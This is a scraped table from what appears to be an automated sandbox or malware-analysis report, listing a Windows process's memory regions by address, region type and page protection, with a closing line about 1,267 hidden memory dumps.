|
page read and write
|
|
|
|
7FF5755AB000
|
unkown
|
page readonly
|
|
|
|
7FF50AADE000
|
unkown
|
page readonly
|
|
|
|
2E1FB5C0000
|
unkown
|
page readonly
|
|
|
|
2E1E3FE6000
|
unkown
|
page read and write
|
|
|
|
7FF5834EE000
|
unkown
|
page readonly
|
|
|
|
1C0C4DA9000
|
unkown
|
page read and write
|
|
|
|
2E1FB250000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
2E1E40A9000
|
unkown
|
page read and write
|
|
|
|
7FF580441000
|
unkown
|
page readonly
|
|
|
|
7FFA36120000
|
unkown
|
page read and write
|
|
|
|
7FFA36250000
|
unkown
|
page read and write
|
|
|
|
7FF5831B0000
|
unkown
|
page readonly
|
|
|
|
7FF555AFB000
|
unkown
|
page readonly
|
|
|
|
7FF5755F4000
|
unkown
|
page readonly
|
|
|
|
B58D4FB000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
1C0C4D78000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
7FF517295000
|
unkown
|
page readonly
|
|
|
|
2E1E406C000
|
unkown
|
page read and write
|
|
|
|
2E1FB14A000
|
unkown
|
page read and write
|
|
|
|
2E1FAF70000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1E3ED6000
|
unkown
|
page read and write
|
|
|
|
7FF5834EB000
|
unkown
|
page readonly
|
|
|
|
7FFA36210000
|
unkown
|
page read and write
|
|
|
|
7FF50AABA000
|
unkown
|
page readonly
|
|
|
|
1C0C4D6A000
|
unkown
|
page read and write
|
|
|
|
2E1E3EF7000
|
unkown
|
page read and write
|
|
|
|
7FF50A2BD000
|
unkown
|
page readonly
|
|
|
|
7FF555870000
|
unkown
|
page readonly
|
|
|
|
2E1FAF90000
|
unkown
|
page read and write
|
|
|
|
1C0C4DA5000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
1C0C4D5C000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA1000
|
unkown
|
page read and write
|
|
|
|
7FF57FF16000
|
unkown
|
page readonly
|
|
|
|
1C0C43C0000
|
heap default
|
page read and write
|
|
|
|
18C31213000
|
unkown
|
page read and write
|
|
|
|
2E1FB34A000
|
unkown
|
page read and write
|
|
|
|
1C0C445E000
|
unkown
|
page read and write
|
|
|
|
21E4B7EE000
|
unkown
|
page read and write
|
|
|
|
2E1E0E40000
|
heap default
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
7FF583554000
|
unkown
|
page readonly
|
|
|
|
7DF41DA00000
|
unkown
|
page execute and read and write
|
|
|
|
7FFA35F04000
|
unkown
|
page read and write
|
|
|
|
7FF5172DA000
|
unkown
|
page readonly
|
|
|
|
2E1E410D000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA1000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
18C3127A000
|
unkown
|
page read and write
|
|
|
|
2E1FB250000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
2E1E4146000
|
unkown
|
page read and write
|
|
|
|
2E1FAEBD000
|
unkown
|
page read and write
|
|
|
|
7FF5803B8000
|
unkown
|
page readonly
|
|
|
|
7FF50A8A9000
|
unkown
|
page readonly
|
|
|
|
7FF517381000
|
unkown
|
page readonly
|
|
|
|
21E4B7FA000
|
unkown
|
page read and write
|
|
|
|
1C0C4D78000
|
unkown
|
page read and write
|
|
|
|
2E1FAF70000
|
unkown
|
page read and write
|
|
|
|
7FF5171DD000
|
unkown
|
page readonly
|
|
|
|
7FF582EF1000
|
unkown
|
page readonly
|
|
|
|
7FF5833F0000
|
unkown
|
page readonly
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
2E1FAFB7000
|
heap private
|
page execute and read and write
|
|
|
|
E473EFF000
|
unkown
|
page read and write
|
|
|
|
2E1FB133000
|
unkown
|
page read and write
|
|
|
|
7FF5171E3000
|
unkown
|
page readonly
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
7FF5172F8000
|
unkown
|
page readonly
|
|
|
|
2E1FB710000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
1F7B7868000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA1000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FFA36130000
|
unkown
|
page read and write
|
|
|
|
2E1FB250000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
2E1FAF90000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1E3943000
|
unkown
|
page read and write
|
|
|
|
1C0C4DA9000
|
unkown
|
page read and write
|
|
|
|
1C0C4DCB000
|
unkown
|
page read and write
|
|
|
|
7FF50A18F000
|
unkown
|
page readonly
|
|
|
|
7FF5171F4000
|
unkown
|
page readonly
|
|
|
|
2E1E29A4000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
1C0C4D62000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
1C0C4D63000
|
unkown
|
page read and write
|
|
|
|
2E1E2AE4000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
2E1E28D0000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
2E1E38DD000
|
unkown
|
page read and write
|
|
|
|
1C0C4D60000
|
unkown
|
page read and write
|
|
|
|
2E1E3868000
|
unkown
|
page read and write
|
|
|
|
2E1FB250000
|
unkown
|
page read and write
|
|
|
|
2A95CA6F000
|
unkown
|
page read and write
|
|
|
|
E4743B8000
|
unkown
|
page read and write
|
|
|
|
1F7B7849000
|
unkown
|
page read and write
|
|
|
|
1C0C4BD0000
|
unkown
|
page readonly
|
|
|
|
2E1FB700000
|
unkown
|
page read and write
|
|
|
|
2E1FAF90000
|
unkown
|
page read and write
|
|
|
|
2E1FB520000
|
unkown
|
page read and write
|
|
|
|
2E1FB250000
|
unkown
|
page read and write
|
|
|
|
2E1FAF90000
|
unkown
|
page read and write
|
|
|
|
7FFA35F5C000
|
unkown
|
page execute and read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
2E1FB730000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
2E1F2CB6000
|
unkown
|
page read and write
|
|
|
|
7FF50AA70000
|
unkown
|
page readonly
|
|
|
|
18C3127D000
|
unkown
|
page read and write
|
|
|
|
7FF50AA5A000
|
unkown
|
page readonly
|
|
|
|
2E1FB13C000
|
unkown
|
page read and write
|
|
|
|
1C0C4D8F000
|
unkown
|
page read and write
|
|
|
|
7FF58033A000
|
unkown
|
page readonly
|
|
|
|
7FF517309000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FF555941000
|
unkown
|
page readonly
|
|
|
|
2E1FAF70000
|
unkown
|
page read and write
|
|
|
|
2A95CA82000
|
unkown
|
page read and write
|
|
|
|
7FF580350000
|
unkown
|
page readonly
|
|
|
|
1C0C4BE0000
|
unkown
|
page readonly
|
|
|
|
7FF555B3A000
|
unkown
|
page readonly
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
7FF58315E000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA1000
|
unkown
|
page read and write
|
|
|
|
2E1FAF70000
|
unkown
|
page read and write
|
|
|
|
2A95D400000
|
unkown
|
page readonly
|
|
|
|
2E1FB700000
|
unkown
|
page read and write
|
|
|
|
7FF555B4F000
|
unkown
|
page readonly
|
|
|
|
2E1FAF90000
|
unkown
|
page read and write
|
|
|
|
1F7B784C000
|
unkown
|
page read and write
|
|
|
|
7FF57F865000
|
unkown
|
page readonly
|
|
|
|
1C0C4B70000
|
unkown
|
page write copy
|
|
|
|
2E1FB260000
|
unkown
|
page read and write
|
|
|
|
1C0C4360000
|
heap private
|
page read and write
|
|
|
|
7FFA362B0000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
7FF50A9BD000
|
unkown
|
page readonly
|
|
|
|
1F7B7A00000
|
unkown
|
page readonly
|
|
|
|
2E1FB710000
|
unkown
|
page read and write
|
|
|
|
7FF555BE1000
|
unkown
|
page readonly
|
|
|
|
7FF517007000
|
unkown
|
page readonly
|
|
|
|
1C0C4DA9000
|
unkown
|
page read and write
|
|
|
|
2A95CB08000
|
unkown
|
page read and write
|
|
|
|
2E1E3EE7000
|
unkown
|
page read and write
|
|
|
|
2E1FB302000
|
unkown
|
page read and write
|
|
|
|
38ED6FF000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
7FF5801F3000
|
unkown
|
page readonly
|
|
|
|
7FF5836E2000
|
unkown
|
page readonly
|
|
|
|
1C0C4D68000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
7FF509F8C000
|
unkown
|
page readonly
|
|
|
|
2E1E3E23000
|
unkown
|
page read and write
|
|
|
|
7FF5834D1000
|
unkown
|
page readonly
|
|
|
|
1C0C4508000
|
unkown
|
page read and write
|
|
|
|
2E1FAE50000
|
unkown
|
page read and write
|
|
|
|
2E1FB131000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA3000
|
unkown
|
page read and write
|
|
|
|
2E1FB700000
|
unkown
|
page read and write
|
|
|
|
2A95C7F0000
|
heap private
|
page read and write
|
|
|
|
2E1FB139000
|
unkown
|
page read and write
|
|
|
|
7FF5834F3000
|
unkown
|
page readonly
|
|
|
|
1C0C44FE000
|
unkown
|
page read and write
|
|
|
|
2E1FAF70000
|
unkown
|
page read and write
|
|
|
|
1C0C4D7D000
|
unkown
|
page read and write
|
|
|
|
2E1E394C000
|
unkown
|
page read and write
|
|
|
|
1C0C4BF0000
|
unkown
|
page read and write
|
|
|
|
2E1E4045000
|
unkown
|
page read and write
|
|
|
|
38ED4F7000
|
unkown
|
page read and write
|
|
|
|
1C0C4D92000
|
unkown
|
page read and write
|
|
|
|
7FF50A306000
|
unkown
|
page readonly
|
|
|
|
38ED5FE000
|
unkown
|
page read and write
|
|
|
|
7FF555A3D000
|
unkown
|
page readonly
|
|
|
|
1F7B7780000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
2E1FAF90000
|
unkown
|
page read and write
|
|
|
|
7FFA362A0000
|
unkown
|
page read and write
|
|
|
|
2E1E0DE0000
|
heap default
|
page read and write
|
|
|
|
2E1FB4D0000
|
unkown
|
page read and write
|
|
|
|
1C0C4D62000
|
unkown
|
page read and write
|
|
|
|
7FF50AAA7000
|
unkown
|
page readonly
|
|
|
|
2E1FB157000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FB134000
|
unkown
|
page read and write
|
|
|
|
7FF555BD4000
|
unkown
|
page readonly
|
|
|
|
1C0C4454000
|
unkown
|
page read and write
|
|
|
|
1C0C4413000
|
unkown
|
page read and write
|
|
|
|
7FF50AA9F000
|
unkown
|
page readonly
|
|
|
|
2E1FB250000
|
unkown
|
page read and write
|
|
|
|
2E1FB720000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
21E4B8F0000
|
unkown
|
page readonly
|
|
|
|
B58D378000
|
unkown
|
page read and write
|
|
|
|
2E1E4736000
|
unkown
|
page read and write
|
|
|
|
18C31313000
|
unkown
|
page read and write
|
|
|
|
7FFA360BD000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1E3E90000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FB15A000
|
unkown
|
page read and write
|
|
|
|
7FF555993000
|
unkown
|
page readonly
|
|
|
|
18C31270000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
7FF50A2C1000
|
unkown
|
page readonly
|
|
|
|
2E1E3F28000
|
unkown
|
page read and write
|
|
|
|
2E1FB14A000
|
unkown
|
page read and write
|
|
|
|
2A95CA00000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
1C0C5200000
|
unkown
|
page read and write
|
|
|
|
7FF57FC51000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
A84DEFE000
|
unkown
|
page read and write
|
|
|
|
7FF580442000
|
unkown
|
page readonly
|
|
|
|
1C0C46D0000
|
unkown
|
page readonly
|
|
|
|
2A95CB00000
|
unkown
|
page read and write
|
|
|
|
7FFA361B0000
|
unkown
|
page read and write
|
|
|
|
2A95C850000
|
heap default
|
page read and write
|
|
|
|
7FF5802A3000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
18C311B0000
|
unkown
|
page readonly
|
|
|
|
1C0C4D3E000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FF580211000
|
unkown
|
page readonly
|
|
|
|
2E1FB730000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
2E1E39CD000
|
unkown
|
page read and write
|
|
|
|
18C31308000
|
unkown
|
page read and write
|
|
|
|
7FF555B6D000
|
unkown
|
page readonly
|
|
|
|
FEE18FF000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
7FF580394000
|
unkown
|
page readonly
|
|
|
|
2E1FB26A000
|
unkown
|
page read and write
|
|
|
|
18C31255000
|
unkown
|
page read and write
|
|
|
|
1C0C4D34000
|
unkown
|
page read and write
|
|
|
|
FEE14FB000
|
unkown
|
page read and write
|
|
|
|
1F7B7802000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
1F7B7868000
|
unkown
|
page read and write
|
|
|
|
2E1FB240000
|
unkown
|
page read and write
|
|
|
|
7FF58355C000
|
unkown
|
page readonly
|
|
|
|
7FF5830CE000
|
unkown
|
page readonly
|
|
|
|
7FF555A43000
|
unkown
|
page readonly
|
|
|
|
7FF583592000
|
unkown
|
page readonly
|
|
|
|
1C0C4D59000
|
unkown
|
page read and write
|
|
|
|
B58D077000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
7FF50A5D2000
|
unkown
|
page readonly
|
|
|
|
2E1E3EB3000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1E4734000
|
unkown
|
page read and write
|
|
|
|
1F7B7690000
|
unkown
|
page readonly
|
|
|
|
2E1F2B11000
|
unkown
|
page read and write
|
|
|
|
2E1FB710000
|
unkown
|
page read and write
|
|
|
|
1C0C4D43000
|
unkown
|
page read and write
|
|
|
|
2E1E2B7C000
|
unkown
|
page read and write
|
|
|
|
7FF5172EF000
|
unkown
|
page readonly
|
|
|
|
2E1FB510000
|
unkown
|
page read and write
|
|
|
|
2E1FB700000
|
unkown
|
page read and write
|
|
|
|
2E1E3E6D000
|
unkown
|
page read and write
|
|
|
|
2E1FB33A000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1E2830000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
1C0C44C9000
|
unkown
|
page read and write
|
|
|
|
7FF58035B000
|
unkown
|
page readonly
|
|
|
|
1C0C4D3E000
|
unkown
|
page read and write
|
|
|
|
7FF50AA87000
|
unkown
|
page readonly
|
|
|
|
2E1E4135000
|
unkown
|
page read and write
|
|
|
|
7FF50A8C1000
|
unkown
|
page readonly
|
|
|
|
1C0C4D52000
|
unkown
|
page read and write
|
|
|
|
2E1FB730000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2A95CA8E000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
1C0C4D00000
|
unkown
|
page read and write
|
|
|
|
7FF50A978000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FB710000
|
unkown
|
page read and write
|
|
|
|
7FF50AAD8000
|
unkown
|
page readonly
|
|
|
|
7FF583590000
|
unkown
|
page readonly
|
|
|
|
7FF50A8A6000
|
unkown
|
page readonly
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FB480000
|
unkown
|
page readonly
|
|
|
|
1C0C4D79000
|
unkown
|
page read and write
|
|
|
|
2E1FB15F000
|
unkown
|
page read and write
|
|
|
|
2E1E0E28000
|
heap default
|
page read and write
|
|
|
|
2E1E3E9B000
|
unkown
|
page read and write
|
|
|
|
2A95C930000
|
unkown
|
page readonly
|
|
|
|
7FF5835BF000
|
unkown
|
page readonly
|
|
|
|
7FF58039A000
|
unkown
|
page readonly
|
|
|
|
1C0C4D40000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
1C0C4D6E000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
2E1FB230000
|
unkown
|
page read and write
|
|
|
|
2E1FAF90000
|
unkown
|
page read and write
|
|
|
|
1F7B7813000
|
unkown
|
page read and write
|
|
|
|
7FF517306000
|
unkown
|
page readonly
|
|
|
|
18C31C00000
|
unkown
|
page readonly
|
|
|
|
7FF5836D4000
|
unkown
|
page readonly
|
|
|
|
7FF51728A000
|
unkown
|
page readonly
|
|
|
|
7FF50AB5A000
|
unkown
|
page readonly
|
|
|
|
2E1E2970000
|
unkown
|
page execute and read and write
|
|
|
|
2E1FB250000
|
unkown
|
page read and write
|
|
|
|
1C0C4DA7000
|
unkown
|
page read and write
|
|
|
|
2E1FAFA0000
|
unkown
|
page read and write
|
|
|
|
7FF517133000
|
unkown
|
page readonly
|
|
|
|
E47453E000
|
unkown
|
page read and write
|
|
|
|
1C0C4D61000
|
unkown
|
page read and write
|
|
|
|
2E1FAF70000
|
unkown
|
page read and write
|
|
|
|
B58CDFC000
|
unkown
|
page read and write
|
|
|
|
2E1FB720000
|
unkown
|
page read and write
|
|
|
|
7FF58361F000
|
unkown
|
page readonly
|
|
|
|
1C0C4D90000
|
unkown
|
page read and write
|
|
There are 1267 hidden memdumps, click here to show them.